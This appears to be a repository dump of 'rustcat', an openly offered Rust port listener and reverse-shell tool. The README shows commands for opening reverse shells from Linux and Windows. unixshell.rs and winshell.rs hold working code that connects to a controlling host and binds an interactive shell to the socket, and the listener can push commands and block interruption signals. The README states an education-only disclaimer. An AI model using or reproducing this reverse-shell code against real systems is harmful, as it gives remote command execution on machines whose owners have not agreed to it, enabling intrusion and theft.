.
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
rustcat - The modern port listener and reverse shell
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | ## What is Rustcat
13 | Rustcat is an easy to use port listener and reverse shell for Linux, MacOS, and Windows aimed to be easy to use and accessible.
14 |
15 | 
16 |
17 | ## Modes
18 | - Listen mode (listen);
19 | - Reverse shell mode (connect);
20 |
21 | ## Features
22 | - Command history & Tab completion (Interactive mode);
23 | - CTRL-C blocking;
24 | - Colors;
25 | - Everything easy;
26 |
27 | ## Installing
28 | Check out the [Installation Guide](https://github.com/robiot/rustcat/wiki/Installation-Guide). Or if you want to have it portable, check out the [latest release](https://github.com/robiot/rustcat/releases/latest)
29 |
30 | ## Usage
31 | The most basic and useful example to start listening on a port would be (you can even run vim inside rustcat with this):
32 | ```
33 | rcat listen -ib 55600
34 | ```
35 | and to connect:
36 | ```
37 | rcat connect -s bash the.0.0.ip 55600
38 | ```
39 | Reverse shell from Windows:
40 | ```
41 | rcat connect -s cmd.exe the.0.0.ip 55600
42 | ```
43 |
44 | For some more basic usage, check [here](https://github.com/robiot/rustcat/wiki/Basic-Usage)
45 |
46 | ## Disclaimer
47 | This tool may be used for educational purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.
48 |
--------------------------------------------------------------------------------
/pkg/.gitignore:
--------------------------------------------------------------------------------
1 | release/
2 |
--------------------------------------------------------------------------------
/pkg/arch/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/robiot/rustcat/3f80eaf968a4bf046dc329acf9a6154f388a5f79/pkg/arch/.gitkeep
--------------------------------------------------------------------------------
/pkg/arch/blackarch:
--------------------------------------------------------------------------------
1 | https://github.com/BlackArch/blackarch/tree/master/packages/rustcat
2 |
--------------------------------------------------------------------------------
/pkg/debian-install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Tested on kali linux 2024.1 VMware image
4 | main(){
5 | echo "Welcome to the Rustcat Debian installer"
6 | which curl >/dev/null && echo "Curl installed, moving on..." || sudo apt install curl
7 |
8 | echo "Getting latest version..."
9 | version=$(curl --silent "https://api.github.com/repos/robiot/rustcat/releases/latest" | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
10 | name="rcat-${version}-linux-x86_64.deb"
11 |
12 | echo "Found $name"
13 |
14 | cd /tmp
15 | sudo rm -rf ./${name} && curl -OL https://github.com/robiot/rustcat/releases/latest/download/${name} && sudo apt install ./${name} && sudo rm -rf ./${name}
16 |
17 | if [ $? -eq 0 ]; then
18 | echo "Rustcat $version sucessfully installed! | Run with 'rcat"
19 | else
20 | echo "Failed to install"
21 | fi
22 | cd ~/
23 | }
24 | main
25 |
--------------------------------------------------------------------------------
/rust-toolchain.toml:
--------------------------------------------------------------------------------
1 | # Specify toolchain to use in rustup.
2 | # Without this file, compilation would fail if no prior toolchain
3 | # is installed (such as on a fresh ArchLinux+rustup installation)
4 | [toolchain]
5 | channel = "stable"
6 |
--------------------------------------------------------------------------------
/src/input.rs:
--------------------------------------------------------------------------------
1 | use clap::{Parser, Subcommand};
2 |
3 | #[derive(Parser, Debug)]
4 | #[clap(name = "rustcat", version, arg_required_else_help(true))]
5 | pub struct Opts {
6 | #[clap(subcommand)]
7 | pub command: Command,
8 | // #[clap(short, long)]
9 | // verbose: bool,
10 | }
11 |
12 | #[derive(Subcommand, Debug)]
13 | pub enum Command {
14 | /// Start a listener for incoming connections
15 | #[clap(alias = "l")]
16 | Listen {
17 | /// Interactive
18 | #[clap(short, long, name = "interactive")]
19 | interactive: bool,
20 |
21 | /// Block exit signals like CTRL-C
22 | #[clap(short, long, conflicts_with = "local-interactive")]
23 | block_signals: bool,
24 |
25 | /// Local interactive
26 | #[clap(
27 | short,
28 | long,
29 | name = "local-interactive",
30 | conflicts_with = "interactive"
31 | )]
32 | local_interactive: bool,
33 |
34 | /// Execute command when connection received
35 | #[clap(short, long)] // hidden
36 | exec: Option,
37 |
38 | // Host:ip, IP if only 1 value provided
39 | #[clap(num_args = ..=2)]
40 | host: Vec,
41 | },
42 |
43 | /// Connect to the controlling host
44 | #[clap(alias = "c")]
45 | Connect {
46 | /// The shell to use
47 | #[clap(short, long)]
48 | shell: String,
49 |
50 | // Host:ip, IP if only 1 value provided
51 | #[clap(num_args = ..=2)]
52 | host: Vec,
53 | },
54 | }
55 |
--------------------------------------------------------------------------------
/src/listener/mod.rs:
--------------------------------------------------------------------------------
1 | use colored::Colorize;
2 | use rustyline::error::ReadlineError;
3 | use std::io::{stdin, stdout, Read, Result, Write};
4 | use std::net::{TcpListener, TcpStream};
5 | use std::process::exit;
6 | use std::thread::{self, JoinHandle};
7 |
8 | #[cfg(unix)]
9 | mod termios_handler;
10 |
11 | #[cfg(unix)]
12 | use signal_hook::{consts, iterator::Signals};
13 |
14 | pub struct Opts {
15 | pub host: String,
16 | pub port: String,
17 | pub exec: Option,
18 | pub block_signals: bool,
19 | pub mode: Mode,
20 | }
21 |
22 | pub enum Mode {
23 | Normal,
24 | Interactive,
25 | LocalInteractive,
26 | }
27 |
28 | fn print_connection_received() {
29 | log::info!("Connection Received");
30 | }
31 |
32 | // It will complain on unix systems without this lint rule.
33 | #[allow(dead_code)]
34 | fn print_feature_not_supported() {
35 | log::error!("This feature is not supported on your platform");
36 | }
37 |
38 | fn pipe_thread(mut r: R, mut w: W) -> JoinHandle<()>
39 | where
40 | R: Read + Send + 'static,
41 | W: Write + Send + 'static,
42 | {
43 | thread::spawn(move || {
44 | let mut buffer = [0; 1024];
45 |
46 | loop {
47 | match r.read(&mut buffer) {
48 | Ok(0) => {
49 | log::warn!("Connection lost");
50 |
51 | exit(0);
52 | }
53 | Ok(len) => {
54 | if let Err(err) = w.write_all(&buffer[..len]) {
55 | log::error!("{}", err);
56 |
57 | exit(1);
58 | }
59 | }
60 | Err(err) => {
61 | log::error!("{}", err);
62 |
63 | exit(1);
64 | }
65 | }
66 |
67 | w.flush().unwrap();
68 | }
69 | })
70 | }
71 |
72 | fn listen_tcp_normal(stream: TcpStream, opts: &Opts) -> Result<()> {
73 | if let Some(exec) = &opts.exec {
74 | stream
75 | .try_clone()?
76 | .write_all(format!("{}\n", exec).as_bytes())?;
77 | }
78 |
79 | let (stdin_thread, stdout_thread) = (
80 | pipe_thread(stdin(), stream.try_clone()?),
81 | pipe_thread(stream, stdout()),
82 | );
83 |
84 | print_connection_received();
85 |
86 | stdin_thread.join().unwrap();
87 | stdout_thread.join().unwrap();
88 |
89 | Ok(())
90 | }
91 |
92 | fn block_signals(should_block: bool) -> Result<()> {
93 | if should_block {
94 | #[cfg(unix)]
95 | {
96 | Signals::new(&[consts::SIGINT])?;
97 | }
98 |
99 | #[cfg(not(unix))]
100 | {
101 | print_feature_not_supported();
102 |
103 | exit(1);
104 | }
105 | }
106 |
107 | Ok(())
108 | }
109 | // Listen on given host and port
110 | pub fn listen(opts: &Opts) -> rustyline::Result<()> {
111 | let listener = TcpListener::bind(format!("{}:{}", opts.host, opts.port))?;
112 |
113 | #[cfg(not(unix))]
114 | {
115 | if let Mode::Interactive = opts.mode {
116 | print_feature_not_supported();
117 |
118 | exit(1);
119 | }
120 | }
121 |
122 | log::info!("Listening on {}:{}", opts.host.green(), opts.port.cyan());
123 |
124 | let (mut stream, _) = listener.accept()?;
125 |
126 | match &opts.mode {
127 | Mode::Interactive => {
128 | // It exists it if isn't unix above
129 | block_signals(opts.block_signals)?;
130 |
131 | #[cfg(unix)]
132 | {
133 | termios_handler::setup_fd()?;
134 | listen_tcp_normal(stream, opts)?;
135 | }
136 | }
137 | Mode::LocalInteractive => {
138 | let t = pipe_thread(stream.try_clone()?, stdout());
139 |
140 | print_connection_received();
141 |
142 | readline_decorator(|command| {
143 | stream
144 | .write_all((command + "\n").as_bytes())
145 | .expect("Failed to send TCP.");
146 | })?;
147 |
148 | t.join().unwrap();
149 | }
150 | Mode::Normal => {
151 | block_signals(opts.block_signals)?;
152 | listen_tcp_normal(stream, opts)?;
153 | }
154 | }
155 |
156 | Ok(())
157 | }
158 |
159 | /* readline_decorator takes in a function, A mutable closure
160 | * which will perform the sending of data depending on the transport protocol. */
161 | fn readline_decorator(mut f: impl FnMut(String)) -> rustyline::Result<()> {
162 | let mut rl = rustyline::DefaultEditor::new()?;
163 |
164 | loop {
165 | match rl.readline(">> ") {
166 | Ok(command) => {
167 | rl.add_history_entry(command.clone().as_str())?;
168 | f(command);
169 | }
170 | Err(err) => match err {
171 | ReadlineError::Interrupted | ReadlineError::Eof => exit(0),
172 | err => {
173 | log::error!("{}", err);
174 |
175 | exit(1);
176 | }
177 | },
178 | }
179 | }
180 | }
181 |
--------------------------------------------------------------------------------
/src/listener/termios_handler.rs:
--------------------------------------------------------------------------------
1 | use std::fs::OpenOptions;
2 | use std::io::Result;
3 | use std::os::unix::io::AsRawFd;
4 | use termios::{Termios, ECHO, ICANON, tcsetattr, TCSADRAIN};
5 |
6 | /* https://man7.org/linux/man-pages/man3/tcflow.3.html */
7 | pub fn setup_fd() -> Result<()> {
8 | let tty = OpenOptions::new().write(true).read(true).open("/dev/tty")?;
9 | let fd = tty.as_raw_fd();
10 | let mut termios = Termios::from_fd(fd)?;
11 |
12 | /* !ECHO: Disable Echo input characters
13 | !ICANON Disable canonical mode */
14 | termios.c_lflag &= !(ECHO | ICANON);
15 |
16 | /* Applies the changes after all ouput written to fd
17 | has been transmitted */
18 | tcsetattr(fd, TCSADRAIN, &termios)?;
19 | Ok(())
20 | }
21 |
22 | /* TODO: Maybe implement a custom termios with libc since the
23 | termion crate uses uninitialized memory.
24 | https://github.com/dcuddeback/termios-rs/blob/master/src/lib.rs#L194 */
25 |
--------------------------------------------------------------------------------
/src/main.rs:
--------------------------------------------------------------------------------
1 | use clap::Parser;
2 | use fern::Dispatch;
3 | use fern::colors::{Color, ColoredLevelConfig};
4 | use std::io::stdout;
5 | use crate::listener::{Mode, Opts, listen};
6 | use crate::input::Command;
7 |
8 | mod input;
9 | mod listener;
10 |
11 | #[cfg(unix)]
12 | mod unixshell;
13 |
14 | #[cfg(windows)]
15 | mod winshell;
16 |
17 | fn host_from_opts(host: Vec) -> Result<(String, String), String> {
18 | let fixed_host = if host.len() == 1 {
19 | ("0.0.0.0".to_string(), host.get(0).unwrap().to_string()) // Safe to unwrap here
20 | } else if let [host, port] = &host[..] {
21 | (host.to_string(), port.to_string())
22 | } else {
23 | return Err("Missing host".to_string());
24 | };
25 |
26 | Ok(fixed_host)
27 | }
28 |
29 | fn main() {
30 | // Configure logger
31 | if let Err(err) = Dispatch::new()
32 | .format(|out, message, record| {
33 | let colors = ColoredLevelConfig::new()
34 | .warn(Color::Yellow)
35 | .info(Color::BrightGreen)
36 | .error(Color::Red);
37 |
38 | out.finish(format_args!(
39 | "{}{} {}",
40 | colors.color(record.level()).to_string().to_lowercase(),
41 | ":",
42 | message
43 | ))
44 | })
45 | .level(log::LevelFilter::Warn)
46 | .level(log::LevelFilter::Info)
47 | .chain(stdout())
48 | .apply()
49 | {
50 | println!("Failed to initialize logger: {}", { err });
51 |
52 | return;
53 | }
54 |
55 | let opts = input::Opts::parse();
56 |
57 | match opts.command {
58 | Command::Listen {
59 | interactive,
60 | block_signals,
61 | local_interactive,
62 | exec,
63 | host,
64 | } => {
65 | let (host, port) = match host_from_opts(host) {
66 | Ok(value) => value,
67 | Err(err) => {
68 | log::error!("{}", err);
69 |
70 | return;
71 | }
72 | };
73 |
74 | let opts = Opts {
75 | host,
76 | port,
77 | exec,
78 | block_signals,
79 | mode: if interactive {
80 | Mode::Interactive
81 | } else if local_interactive {
82 | Mode::LocalInteractive
83 | } else {
84 | Mode::Normal
85 | },
86 | };
87 |
88 | if let Err(err) = listen(&opts) {
89 | log::error!("{}", err);
90 | };
91 | }
92 | Command::Connect { shell, host } => {
93 | let (host, port) = match host_from_opts(host) {
94 | Ok(value) => value,
95 | Err(err) => {
96 | log::error!("{}", err);
97 |
98 | return;
99 | }
100 | };
101 |
102 | #[cfg(unix)]
103 | if let Err(err) = unixshell::shell(host, port, shell) {
104 | log::error!("{}", err);
105 | }
106 |
107 | #[cfg(windows)]
108 | if let Err(err) = winshell::shell(host, port, shell) {
109 | log::error!("{}", err);
110 | }
111 |
112 | #[cfg(not(any(unix, windows)))]
113 | {
114 | log::error!("This feature is not supported on your platform");
115 | }
116 | }
117 | }
118 | }
119 |
120 | #[cfg(test)]
121 | mod tests {
122 |
123 | #[cfg(unix)]
124 | use super::unixshell;
125 |
126 | use std::io::ErrorKind;
127 |
128 | // Panics if InvalidInput Not returned
129 | #[test]
130 | #[cfg(unix)]
131 | fn revshell_bad_port() {
132 | assert_eq!(
133 | unixshell::shell(
134 | "0.0.0.0".to_string(),
135 | "420692223".to_string(),
136 | "bash".to_string()
137 | )
138 | .map_err(|e| e.kind()),
139 | Err(ErrorKind::InvalidInput)
140 | )
141 | }
142 | }
143 |
--------------------------------------------------------------------------------
/src/unixshell.rs:
--------------------------------------------------------------------------------
1 | use std::io::Result;
2 | use std::net::TcpStream;
3 | use std::os::unix::io::{AsRawFd, FromRawFd};
4 | use std::process::{Command, Stdio};
5 |
6 | // Open A Reverse Shell
7 | pub fn shell(host: String, port: String, shell: String) -> Result<()> {
8 | let sock = TcpStream::connect(format!("{}:{}", host, port))?;
9 | let fd = sock.as_raw_fd();
10 |
11 | // Open shell
12 | Command::new(shell)
13 | .arg("-i")
14 | .stdin(unsafe { Stdio::from_raw_fd(fd) })
15 | .stdout(unsafe { Stdio::from_raw_fd(fd) })
16 | .stderr(unsafe { Stdio::from_raw_fd(fd) })
17 | .spawn()?
18 | .wait()?;
19 |
20 | log::warn!("Shell exited");
21 |
22 | Ok(())
23 | }
24 |
--------------------------------------------------------------------------------
/src/winshell.rs:
--------------------------------------------------------------------------------
1 | use std::io::{copy, Result};
2 | use std::net::TcpStream;
3 | use std::process::{Command, Stdio};
4 | use std::thread;
5 |
6 | pub(crate) fn shell(host: String, port: String, shell: String) -> Result<()> {
7 | let mut sock_write = TcpStream::connect(format!("{}:{}", host, port))?;
8 | // sock_write.set_nonblocking(false)?;
9 | let mut sock_write_err = sock_write.try_clone()?;
10 | let mut sock_read = sock_write.try_clone()?;
11 |
12 | // Open shell
13 | let mut child = Command::new(shell)
14 | .arg("-i")
15 | .stdin(Stdio::piped())
16 | .stdout(Stdio::piped())
17 | .stderr(Stdio::piped())
18 | .spawn()?;
19 |
20 | let mut stdin = child.stdin.take().expect("Failed to open stdin");
21 | let mut stdout = child.stdout.take().expect("Failed to open stdout");
22 | let mut stderr = child.stderr.take().expect("Failed to open stderr");
23 |
24 | //FIXME: Use async IO if possible
25 | thread::spawn(move || {
26 | copy(&mut stdout, &mut sock_write).expect("stdout closed");
27 | });
28 | thread::spawn(move || {
29 | copy(&mut stderr, &mut sock_write_err).expect("stderr closed");
30 | });
31 | thread::spawn(move || {
32 | copy(&mut sock_read, &mut stdin).expect("stdin closed");
33 | });
34 |
35 | child.wait()?;
36 |
37 | log::warn!("Shell exited");
38 |
39 | Ok(())
40 | }
41 |
--------------------------------------------------------------------------------